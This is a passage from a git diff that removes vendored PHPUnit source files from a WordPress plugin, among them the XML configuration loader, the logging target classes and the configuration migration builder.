$xml, - ); - } - - /** - * @deprecated - */ - private function legacyCodeCoverage(string $filename, DOMXPath $xpath, DOMDocument $document): CodeCoverage - { - $ignoreDeprecatedCodeUnits = $this->getBooleanAttribute( - $document->documentElement, - 'ignoreDeprecatedCodeUnitsFromCodeCoverage', - false, - ); - - $disableCodeCoverageIgnore = $this->getBooleanAttribute( - $document->documentElement, - 'disableCodeCoverageIgnore', - false, - ); - - $includeUncoveredFiles = true; - $processUncoveredFiles = false; - - $element = $this->element($xpath, 'filter/whitelist'); - - if ($element) { - if ($element->hasAttribute('addUncoveredFilesFromWhitelist')) { - $includeUncoveredFiles = (bool) $this->getBoolean( - (string) $element->getAttribute('addUncoveredFilesFromWhitelist'), - true, - ); - } - - if ($element->hasAttribute('processUncoveredFilesFromWhitelist')) { - $processUncoveredFiles = (bool) $this->getBoolean( - (string) $element->getAttribute('processUncoveredFilesFromWhitelist'), - false, - ); - } - } - - $clover = null; - $cobertura = null; - $crap4j = null; - $html = null; - $php = null; - $text = null; - $xml = null; - - foreach ($xpath->query('logging/log') as $log) { - assert($log instanceof DOMElement); - - $type = (string) $log->getAttribute('type'); - $target = (string) $log->getAttribute('target'); - - if (!$target) { - continue; - } - - $target = $this->toAbsolutePath($filename, $target); - - switch ($type) { - case 'coverage-clover': - $clover = new Clover( - new File($target), - ); - - break; - - case 'coverage-cobertura': - $cobertura = new Cobertura( - new File($target), - ); - - break; - - case 'coverage-crap4j': - $crap4j = new Crap4j( - new File($target), - $this->getIntegerAttribute($log, 'threshold', 30), - ); - - break; - - case 'coverage-html': - $html = new CodeCoverageHtml( - new Directory($target), - $this->getIntegerAttribute($log, 'lowUpperBound', 50), - $this->getIntegerAttribute($log, 'highLowerBound', 90), - ); - - break; - - case 'coverage-php': - $php = new CodeCoveragePhp( - new File($target), - ); - - break; - - case 'coverage-text': - $text = new CodeCoverageText( - new File($target), - $this->getBooleanAttribute($log, 'showUncoveredFiles', false), - $this->getBooleanAttribute($log, 'showOnlySummary', false), - ); - - break; - - case 'coverage-xml': - $xml = new CodeCoverageXml( - new Directory($target), - ); - - break; - } - } - - return new CodeCoverage( - null, - $this->readFilterDirectories($filename, $xpath, 'filter/whitelist/directory'), - $this->readFilterFiles($filename, $xpath, 'filter/whitelist/file'), - $this->readFilterDirectories($filename, $xpath, 'filter/whitelist/exclude/directory'), - $this->readFilterFiles($filename, $xpath, 'filter/whitelist/exclude/file'), - false, - $includeUncoveredFiles, - $processUncoveredFiles, - $ignoreDeprecatedCodeUnits, - $disableCodeCoverageIgnore, - $clover, - $cobertura, - $crap4j, - $html, - $php, - $text, - $xml, - ); - } - - /** - * If $value is 'false' or 'true', this returns the value that $value represents. - * Otherwise, returns $default, which may be a string in rare cases. - * - * @see XmlConfigurationTest::testPHPConfigurationIsReadCorrectly - * - * @param bool|string $default - * - * @return bool|string - */ - private function getBoolean(string $value, $default) - { - if (strtolower($value) === 'false') { - return false; - } - - if (strtolower($value) === 'true') { - return true; - } - - return $default; - } - - private function readFilterDirectories(string $filename, DOMXPath $xpath, string $query): FilterDirectoryCollection - { - $directories = []; - - foreach ($xpath->query($query) as $directoryNode) { - assert($directoryNode instanceof DOMElement); - - $directoryPath = (string) $directoryNode->textContent; - - if (!$directoryPath) { - continue; - } - - $directories[] = new FilterDirectory( - $this->toAbsolutePath($filename, $directoryPath), - $directoryNode->hasAttribute('prefix') ? (string) $directoryNode->getAttribute('prefix') : '', - $directoryNode->hasAttribute('suffix') ? (string) $directoryNode->getAttribute('suffix') : '.php', - $directoryNode->hasAttribute('group') ? (string) $directoryNode->getAttribute('group') : 'DEFAULT', - ); - } - - return FilterDirectoryCollection::fromArray($directories); - } - - private function readFilterFiles(string $filename, DOMXPath $xpath, string $query): FileCollection - { - $files = []; - - foreach ($xpath->query($query) as $file) { - assert($file instanceof DOMNode); - - $filePath = (string) $file->textContent; - - if ($filePath) { - $files[] = new File($this->toAbsolutePath($filename, $filePath)); - } - } - - return FileCollection::fromArray($files); - } - - private function groups(DOMXPath $xpath): Groups - { - return $this->parseGroupConfiguration($xpath, 'groups'); - } - - private function testdoxGroups(DOMXPath $xpath): Groups - { - return $this->parseGroupConfiguration($xpath, 'testdoxGroups'); - } - - private function parseGroupConfiguration(DOMXPath $xpath, string $root): Groups - { - $include = []; - $exclude = []; - - foreach ($xpath->query($root . '/include/group') as $group) { - assert($group instanceof DOMNode); - - $include[] = new Group((string) $group->textContent); - } - - foreach ($xpath->query($root . '/exclude/group') as $group) { - assert($group instanceof DOMNode); - - $exclude[] = new Group((string) $group->textContent); - } - - return new Groups( - GroupCollection::fromArray($include), - GroupCollection::fromArray($exclude), - ); - } - - private function listeners(string $filename, DOMXPath $xpath): ExtensionCollection - { - $listeners = []; - - foreach ($xpath->query('listeners/listener') as $listener) { - assert($listener instanceof DOMElement); - - $listeners[] = $this->getElementConfigurationParameters($filename, $listener); - } - - return ExtensionCollection::fromArray($listeners); - } - - private function getBooleanAttribute(DOMElement $element, string $attribute, bool $default): bool - { - if (!$element->hasAttribute($attribute)) { - return $default; - } - - return (bool) $this->getBoolean( - (string) $element->getAttribute($attribute), - false, - ); - } - - private function getIntegerAttribute(DOMElement $element, string $attribute, int $default): int - { - if (!$element->hasAttribute($attribute)) { - return $default; - } - - return $this->getInteger( - (string) $element->getAttribute($attribute), - $default, - ); - } - - private function getStringAttribute(DOMElement $element, string $attribute): ?string - { - if (!$element->hasAttribute($attribute)) { - return null; - } - - return (string) $element->getAttribute($attribute); - } - - private function getInteger(string $value, int $default): int - { - if (is_numeric($value)) { - return (int) $value; - } - - return $default; - } - - private function php(string $filename, DOMXPath $xpath): Php - { - $includePaths = []; - - foreach ($xpath->query('php/includePath') as $includePath) { - assert($includePath instanceof DOMNode); - - $path = (string) $includePath->textContent; - - if ($path) { - $includePaths[] = new Directory($this->toAbsolutePath($filename, $path)); - } - } - - $iniSettings = []; - - foreach ($xpath->query('php/ini') as $ini) { - assert($ini instanceof DOMElement); - - $iniSettings[] = new IniSetting( - (string) $ini->getAttribute('name'), - (string) $ini->getAttribute('value'), - ); - } - - $constants = []; - - foreach ($xpath->query('php/const') as $const) { - assert($const instanceof DOMElement); - - $value = (string) $const->getAttribute('value'); - - $constants[] = new Constant( - (string) $const->getAttribute('name'), - $this->getBoolean($value, $value), - ); - } - - $variables = [ - 'var' => [], - 'env' => [], - 'post' => [], - 'get' => [], - 'cookie' => [], - 'server' => [], - 'files' => [], - 'request' => [], - ]; - - foreach (['var', 'env', 'post', 'get', 'cookie', 'server', 'files', 'request'] as $array) { - foreach ($xpath->query('php/' . $array) as $var) { - assert($var instanceof DOMElement); - - $name = (string) $var->getAttribute('name'); - $value = (string) $var->getAttribute('value'); - $force = false; - $verbatim = false; - - if ($var->hasAttribute('force')) { - $force = (bool) $this->getBoolean($var->getAttribute('force'), false); - } - - if ($var->hasAttribute('verbatim')) { - $verbatim = $this->getBoolean($var->getAttribute('verbatim'), false); - } - - if (!$verbatim) { - $value = $this->getBoolean($value, $value); - } - - $variables[$array][] = new Variable($name, $value, $force); - } - } - - return new Php( - DirectoryCollection::fromArray($includePaths), - IniSettingCollection::fromArray($iniSettings), - ConstantCollection::fromArray($constants), - VariableCollection::fromArray($variables['var']), - VariableCollection::fromArray($variables['env']), - VariableCollection::fromArray($variables['post']), - VariableCollection::fromArray($variables['get']), - VariableCollection::fromArray($variables['cookie']), - VariableCollection::fromArray($variables['server']), - VariableCollection::fromArray($variables['files']), - VariableCollection::fromArray($variables['request']), - ); - } - - private function phpunit(string $filename, DOMDocument $document): PHPUnit - { - $executionOrder = TestSuiteSorter::ORDER_DEFAULT; - $defectsFirst = false; - $resolveDependencies = $this->getBooleanAttribute($document->documentElement, 'resolveDependencies', true); - - if ($document->documentElement->hasAttribute('executionOrder')) { - foreach (explode(',', $document->documentElement->getAttribute('executionOrder')) as $order) { - switch ($order) { - case 'default': - $executionOrder = TestSuiteSorter::ORDER_DEFAULT; - $defectsFirst = false; - $resolveDependencies = true; - - break; - - case 'depends': - $resolveDependencies = true; - - break; - - case 'no-depends': - $resolveDependencies = false; - - break; - - case 'defects': - $defectsFirst = true; - - break; - - case 'duration': - $executionOrder = TestSuiteSorter::ORDER_DURATION; - - break; - - case 'random': - $executionOrder = TestSuiteSorter::ORDER_RANDOMIZED; - - break; - - case 'reverse': - $executionOrder = TestSuiteSorter::ORDER_REVERSED; - - break; - - case 'size': - $executionOrder = TestSuiteSorter::ORDER_SIZE; - - break; - } - } - } - - $printerClass = $this->getStringAttribute($document->documentElement, 'printerClass'); - $testdox = $this->getBooleanAttribute($document->documentElement, 'testdox', false); - $conflictBetweenPrinterClassAndTestdox = false; - - if ($testdox) { - if ($printerClass !== null) { - $conflictBetweenPrinterClassAndTestdox = true; - } - - $printerClass = CliTestDoxPrinter::class; - } - - $cacheResultFile = $this->getStringAttribute($document->documentElement, 'cacheResultFile'); - - if ($cacheResultFile !== null) { - $cacheResultFile = $this->toAbsolutePath($filename, $cacheResultFile); - } - - $bootstrap = $this->getStringAttribute($document->documentElement, 'bootstrap'); - - if ($bootstrap !== null) { - $bootstrap = $this->toAbsolutePath($filename, $bootstrap); - } - - $extensionsDirectory = $this->getStringAttribute($document->documentElement, 'extensionsDirectory'); - - if ($extensionsDirectory !== null) { - $extensionsDirectory = $this->toAbsolutePath($filename, $extensionsDirectory); - } - - $testSuiteLoaderFile = $this->getStringAttribute($document->documentElement, 'testSuiteLoaderFile'); - - if ($testSuiteLoaderFile !== null) { - $testSuiteLoaderFile = $this->toAbsolutePath($filename, $testSuiteLoaderFile); - } - - $printerFile = $this->getStringAttribute($document->documentElement, 'printerFile'); - - if ($printerFile !== null) { - $printerFile = $this->toAbsolutePath($filename, $printerFile); - } - - return new PHPUnit( - $this->getBooleanAttribute($document->documentElement, 'cacheResult', true), - $cacheResultFile, - $this->getColumns($document), - $this->getColors($document), - $this->getBooleanAttribute($document->documentElement, 'stderr', false), - $this->getBooleanAttribute($document->documentElement, 'noInteraction', false), - $this->getBooleanAttribute($document->documentElement, 'verbose', false), - $this->getBooleanAttribute($document->documentElement, 'reverseDefectList', false), - $this->getBooleanAttribute($document->documentElement, 'convertDeprecationsToExceptions', false), - $this->getBooleanAttribute($document->documentElement, 'convertErrorsToExceptions', true), - $this->getBooleanAttribute($document->documentElement, 'convertNoticesToExceptions', true), - $this->getBooleanAttribute($document->documentElement, 'convertWarningsToExceptions', true), - $this->getBooleanAttribute($document->documentElement, 'forceCoversAnnotation', false), - $bootstrap, - $this->getBooleanAttribute($document->documentElement, 'processIsolation', false), - $this->getBooleanAttribute($document->documentElement, 'failOnEmptyTestSuite', false), - $this->getBooleanAttribute($document->documentElement, 'failOnIncomplete', false), - $this->getBooleanAttribute($document->documentElement, 'failOnRisky', false), - $this->getBooleanAttribute($document->documentElement, 'failOnSkipped', false), - $this->getBooleanAttribute($document->documentElement, 'failOnWarning', false), - $this->getBooleanAttribute($document->documentElement, 'stopOnDefect', false), - $this->getBooleanAttribute($document->documentElement, 'stopOnError', false), - $this->getBooleanAttribute($document->documentElement, 'stopOnFailure', false), - $this->getBooleanAttribute($document->documentElement, 'stopOnWarning', false), - $this->getBooleanAttribute($document->documentElement, 'stopOnIncomplete', false), - $this->getBooleanAttribute($document->documentElement, 'stopOnRisky', false), - $this->getBooleanAttribute($document->documentElement, 'stopOnSkipped', false), - $extensionsDirectory, - $this->getStringAttribute($document->documentElement, 'testSuiteLoaderClass'), - $testSuiteLoaderFile, - $printerClass, - $printerFile, - $this->getBooleanAttribute($document->documentElement, 'beStrictAboutChangesToGlobalState', false), - $this->getBooleanAttribute($document->documentElement, 'beStrictAboutOutputDuringTests', false), - $this->getBooleanAttribute($document->documentElement, 'beStrictAboutResourceUsageDuringSmallTests', false), - $this->getBooleanAttribute($document->documentElement, 'beStrictAboutTestsThatDoNotTestAnything', true), - $this->getBooleanAttribute($document->documentElement, 'beStrictAboutTodoAnnotatedTests', false), - $this->getBooleanAttribute($document->documentElement, 'beStrictAboutCoversAnnotation', false), - $this->getBooleanAttribute($document->documentElement, 'enforceTimeLimit', false), - $this->getIntegerAttribute($document->documentElement, 'defaultTimeLimit', 1), - $this->getIntegerAttribute($document->documentElement, 'timeoutForSmallTests', 1), - $this->getIntegerAttribute($document->documentElement, 'timeoutForMediumTests', 10), - $this->getIntegerAttribute($document->documentElement, 'timeoutForLargeTests', 60), - $this->getStringAttribute($document->documentElement, 'defaultTestSuite'), - $executionOrder, - $resolveDependencies, - $defectsFirst, - $this->getBooleanAttribute($document->documentElement, 'backupGlobals', false), - $this->getBooleanAttribute($document->documentElement, 'backupStaticAttributes', false), - $this->getBooleanAttribute($document->documentElement, 'registerMockObjectsFromTestArgumentsRecursively', false), - $conflictBetweenPrinterClassAndTestdox, - ); - } - - private function getColors(DOMDocument $document): string - { - $colors = DefaultResultPrinter::COLOR_DEFAULT; - - if ($document->documentElement->hasAttribute('colors')) { - /* only allow boolean for compatibility with previous versions - 'always' only allowed from command line */ - if ($this->getBoolean($document->documentElement->getAttribute('colors'), false)) { - $colors = DefaultResultPrinter::COLOR_AUTO; - } else { - $colors = DefaultResultPrinter::COLOR_NEVER; - } - } - - return $colors; - } - - /** - * @return int|string - */ - private function getColumns(DOMDocument $document) - { - $columns = 80; - - if ($document->documentElement->hasAttribute('columns')) { - $columns = (string) $document->documentElement->getAttribute('columns'); - - if ($columns !== 'max') { - $columns = $this->getInteger($columns, 80); - } - } - - return $columns; - } - - private function testSuite(string $filename, DOMXPath $xpath): TestSuiteCollection - { - $testSuites = []; - - foreach ($this->getTestSuiteElements($xpath) as $element) { - $exclude = []; - - foreach ($element->getElementsByTagName('exclude') as $excludeNode) { - $excludeFile = (string) $excludeNode->textContent; - - if ($excludeFile) { - $exclude[] = new File($this->toAbsolutePath($filename, $excludeFile)); - } - } - - $directories = []; - - foreach ($element->getElementsByTagName('directory') as $directoryNode) { - assert($directoryNode instanceof DOMElement); - - $directory = (string) $directoryNode->textContent; - - if (empty($directory)) { - continue; - } - - $prefix = ''; - - if ($directoryNode->hasAttribute('prefix')) { - $prefix = (string) $directoryNode->getAttribute('prefix'); - } - - $suffix = 'Test.php'; - - if ($directoryNode->hasAttribute('suffix')) { - $suffix = (string) $directoryNode->getAttribute('suffix'); - } - - $phpVersion = PHP_VERSION; - - if ($directoryNode->hasAttribute('phpVersion')) { - $phpVersion = (string) $directoryNode->getAttribute('phpVersion'); - } - - $phpVersionOperator = new VersionComparisonOperator('>='); - - if ($directoryNode->hasAttribute('phpVersionOperator')) { - $phpVersionOperator = new VersionComparisonOperator((string) $directoryNode->getAttribute('phpVersionOperator')); - } - - $directories[] = new TestDirectory( - $this->toAbsolutePath($filename, $directory), - $prefix, - $suffix, - $phpVersion, - $phpVersionOperator, - ); - } - - $files = []; - - foreach ($element->getElementsByTagName('file') as $fileNode) { - assert($fileNode instanceof DOMElement); - - $file = (string) $fileNode->textContent; - - if (empty($file)) { - continue; - } - - $phpVersion = PHP_VERSION; - - if ($fileNode->hasAttribute('phpVersion')) { - $phpVersion = (string) $fileNode->getAttribute('phpVersion'); - } - - $phpVersionOperator = new VersionComparisonOperator('>='); - - if ($fileNode->hasAttribute('phpVersionOperator')) { - $phpVersionOperator = new VersionComparisonOperator((string) $fileNode->getAttribute('phpVersionOperator')); - } - - $files[] = new TestFile( - $this->toAbsolutePath($filename, $file), - $phpVersion, - $phpVersionOperator, - ); - } - - $testSuites[] = new TestSuiteConfiguration( - (string) $element->getAttribute('name'), - TestDirectoryCollection::fromArray($directories), - TestFileCollection::fromArray($files), - FileCollection::fromArray($exclude), - ); - } - - return TestSuiteCollection::fromArray($testSuites); - } - - /** - * @return DOMElement[] - */ - private function getTestSuiteElements(DOMXPath $xpath): array - { - /** @var DOMElement[] $elements */ - $elements = []; - - $testSuiteNodes = $xpath->query('testsuites/testsuite'); - - if ($testSuiteNodes->length === 0) { - $testSuiteNodes = $xpath->query('testsuite'); - } - - if ($testSuiteNodes->length === 1) { - $element = $testSuiteNodes->item(0); - - assert($element instanceof DOMElement); - - $elements[] = $element; - } else { - foreach ($testSuiteNodes as $testSuiteNode) { - assert($testSuiteNode instanceof DOMElement); - - $elements[] = $testSuiteNode; - } - } - - return $elements; - } - - private function element(DOMXPath $xpath, string $element): ?DOMElement - { - $nodes = $xpath->query($element); - - if ($nodes->length === 1) { - $node = $nodes->item(0); - - assert($node instanceof DOMElement); - - return $node; - } - - return null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Junit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Junit.php deleted file mode 100644 index 9fca1852..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Junit.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\Logging; - -use PHPUnit\TextUI\XmlConfiguration\File; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Junit -{ - /** - * @var File - */ - private $target; - - public function __construct(File $target) - { - $this->target = $target; - } - - public function target(): File - { - return $this->target; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Logging.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Logging.php deleted file mode 100644 index bce03019..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Logging.php +++ /dev/null @@ -1,147 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\Logging; - -use PHPUnit\TextUI\XmlConfiguration\Exception; -use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Html as TestDoxHtml; -use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Text as TestDoxText; -use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Xml as TestDoxXml; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Logging -{ - /** - * @var ?Junit - */ - private $junit; - - /** - * @var ?Text - */ - private $text; - - /** - * @var ?TeamCity - */ - private $teamCity; - - /** - * @var ?TestDoxHtml - */ - private $testDoxHtml; - - /** - * @var ?TestDoxText - */ - private $testDoxText; - - /** - * @var ?TestDoxXml - */ - private $testDoxXml; - - public function __construct(?Junit $junit, ?Text $text, ?TeamCity $teamCity, ?TestDoxHtml $testDoxHtml, ?TestDoxText $testDoxText, ?TestDoxXml $testDoxXml) - { - $this->junit = $junit; - $this->text = $text; - $this->teamCity = $teamCity; - $this->testDoxHtml = $testDoxHtml; - $this->testDoxText = $testDoxText; - $this->testDoxXml = $testDoxXml; - } - - public function hasJunit(): bool - { - return $this->junit !== null; - } - - public function junit(): Junit - { - if ($this->junit === null) { - throw new Exception('Logger "JUnit XML" is not configured'); - } - - return $this->junit; - } - - public function hasText(): bool - { - return $this->text !== null; - } - - public function text(): Text - { - if ($this->text === null) { - throw new Exception('Logger "Text" is not configured'); - } - - return $this->text; - } - - public function hasTeamCity(): bool - { - return $this->teamCity !== null; - } - - public function teamCity(): TeamCity - { - if ($this->teamCity === null) { - throw new Exception('Logger "Team City" is not configured'); - } - - return $this->teamCity; - } - - public function hasTestDoxHtml(): bool - { - return $this->testDoxHtml !== null; - } - - public function testDoxHtml(): TestDoxHtml - { - if ($this->testDoxHtml === null) { - throw new Exception('Logger "TestDox HTML" is not configured'); - } - - return $this->testDoxHtml; - } - - public function hasTestDoxText(): bool - { - return $this->testDoxText !== null; - } - - public function testDoxText(): TestDoxText - { - if ($this->testDoxText === null) { - throw new Exception('Logger "TestDox Text" is not configured'); - } - - return $this->testDoxText; - } - - public function hasTestDoxXml(): bool - { - return $this->testDoxXml !== null; - } - - public function testDoxXml(): TestDoxXml - { - if ($this->testDoxXml === null) { - throw new Exception('Logger "TestDox XML" is not configured'); - } - - return $this->testDoxXml; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TeamCity.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TeamCity.php deleted file mode 100644 index 804a7ea6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TeamCity.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\Logging; - -use PHPUnit\TextUI\XmlConfiguration\File; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class TeamCity -{ - /** - * @var File - */ - private $target; - - public function __construct(File $target) - { - $this->target = $target; - } - - public function target(): File - { - return $this->target; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Html.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Html.php deleted file mode 100644 index 5b198352..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Html.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\Logging\TestDox; - -use PHPUnit\TextUI\XmlConfiguration\File; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Html -{ - /** - * @var File - */ - private $target; - - public function __construct(File $target) - { - $this->target = $target; - } - - public function target(): File - { - return $this->target; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Text.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Text.php deleted file mode 100644 index 5c742d3a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Text.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\Logging\TestDox; - -use PHPUnit\TextUI\XmlConfiguration\File; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Text -{ - /** - * @var File - */ - private $target; - - public function __construct(File $target) - { - $this->target = $target; - } - - public function target(): File - { - return $this->target; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Xml.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Xml.php deleted file mode 100644 index 92dd3b7b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Xml.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\Logging\TestDox; - -use PHPUnit\TextUI\XmlConfiguration\File; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Xml -{ - /** - * @var File - */ - private $target; - - public function __construct(File $target) - { - $this->target = $target; - } - - public function target(): File - { - return $this->target; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Text.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Text.php deleted file mode 100644 index fd37942f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Text.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\Logging; - -use PHPUnit\TextUI\XmlConfiguration\File; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Text -{ - /** - * @var File - */ - private $target; - - public function __construct(File $target) - { - $this->target = $target; - } - - public function target(): File - { - return $this->target; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilder.php deleted file mode 100644 index a6b26423..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilder.php +++ /dev/null @@ -1,62 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function version_compare; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MigrationBuilder -{ - private const AVAILABLE_MIGRATIONS = [ - '8.5' => [ - RemoveLogTypes::class, - ], - - '9.2' => [ - RemoveCacheTokensAttribute::class, - IntroduceCoverageElement::class, - MoveAttributesFromRootToCoverage::class, - MoveAttributesFromFilterWhitelistToCoverage::class, - MoveWhitelistIncludesToCoverage::class, - MoveWhitelistExcludesToCoverage::class, - RemoveEmptyFilter::class, - CoverageCloverToReport::class, - CoverageCrap4jToReport::class, - CoverageHtmlToReport::class, - CoveragePhpToReport::class, - CoverageTextToReport::class, - CoverageXmlToReport::class, - ConvertLogTypes::class, - UpdateSchemaLocationTo93::class, - ], - ]; - - /** - * @throws MigrationBuilderException - */ - public function build(string $fromVersion): array - { - $stack = []; - - foreach (self::AVAILABLE_MIGRATIONS as $version => $migrations) { - if (version_compare($version, $fromVersion, '<')) { - continue; - } - - foreach ($migrations as $migration) { - $stack[] = new $migration; - } - } - - return $stack; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilderException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilderException.php deleted file mode 100644 index ebee6e91..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilderException.php +++ /dev/null @@ -1,20 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use PHPUnit\Exception; -use RuntimeException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MigrationBuilderException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationException.php deleted file mode 100644 index 9fa4068c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationException.php +++ /dev/null @@ -1,20 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use PHPUnit\Exception; -use RuntimeException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MigrationException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/ConvertLogTypes.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/ConvertLogTypes.php deleted file mode 100644 index 697bbe08..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/ConvertLogTypes.php +++ /dev/null @@ -1,53 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMDocument; -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ConvertLogTypes implements Migration -{ - public function migrate(DOMDocument $document): void - { - $logging = $document->getElementsByTagName('logging')->item(0); - - if (!$logging instanceof DOMElement) { - return; - } - $types = [ - 'junit' => 'junit', - 'teamcity' => 'teamcity', - 'testdox-html' => 